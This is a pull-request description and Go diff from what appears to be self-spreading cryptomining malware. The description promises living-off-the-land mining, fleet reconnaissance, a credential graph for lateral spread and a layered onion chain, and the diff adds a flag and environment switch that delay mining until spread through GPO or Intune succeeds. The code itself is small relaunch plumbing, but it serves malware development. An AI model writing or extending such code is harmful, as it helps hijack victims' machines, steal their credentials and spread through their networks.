Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/common.go

@@ -13,9 +13,10 @@ import (
 )
 
 const (
-	runFlag       = "--run"
-	spreadFlag    = "--spread-install"
-	backupSuffix  = ".bak"
+	runFlag          = "--run"
+	spreadFlag       = "--spread-install"
+	deferMiningFlag  = "--defer-mining"
+	backupSuffix     = ".bak"
 )
 
 // BinaryExt returns the executable suffix for the current OS.
@@ -95,7 +96,15 @@ func copyFile(src, dest string) error {
 }
 
 func relaunch(exePath, logPath string) error {
-	cmd := exec.Command(exePath, runFlag)
+	return relaunchWithOptions(exePath, logPath, WantsDeferMining())
+}
+
+func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
+	args := []string{runFlag}
+	if deferMining {
+		args = append(args, deferMiningFlag)
+	}
+	cmd := exec.Command(exePath, args...)
 	cmd.Dir = filepath.Dir(exePath)
 	if logPath != "" {
 		cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
@@ -186,6 +195,34 @@ func wantsSpreadInstall() bool {
 	return false
 }
 
+// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
+func WantsDeferMining() bool {
+	if wantsDeferMiningFlag() {
+		return true
+	}
+	if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
+		return true
+	}
+	return false
+}
+
+func wantsDeferMiningFlag() bool {
+	for _, arg := range os.Args[1:] {
+		if arg == deferMiningFlag {
+			return true
+		}
+	}
+	return false
+}
+
+// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
+func RunFlags() string {
+	if WantsDeferMining() {
+		return runFlag + " " + deferMiningFlag
+	}
+	return runFlag
+}
+
 func isRunMode() bool {
 	for _, arg := range os.Args[1:] {
 		if arg == runFlag {